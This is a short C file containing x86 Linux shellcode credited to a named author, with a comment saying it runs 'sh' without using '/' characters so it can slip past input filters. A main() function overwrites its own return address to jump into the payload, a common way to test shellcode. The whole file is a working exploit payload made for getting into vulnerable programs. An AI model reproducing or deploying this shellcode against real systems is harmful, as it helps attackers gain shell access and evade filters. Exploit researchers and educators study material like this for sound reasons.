/* * This shellcode will exec sh in the current working directory and * can be useful when the shell code isn't allowed to have '/' characters * * Written by zillion@safemode.org * */ char shellcode[]= "\xeb\x21\x5e\x31\xc0\x88\x46\x02\x88\x46\x05\x89\x76\x06\x8d" "\x5e\x03\x89\x5e\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x06" "\x8d\x56\x0e\xcd\x80\xe8\xda\xff\xff\xff\x73\x68\x38\x2d\x69" "\x32\x33\x34\x35\x36\x37\x38\x39\x61\x62\x63\x64\x65"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }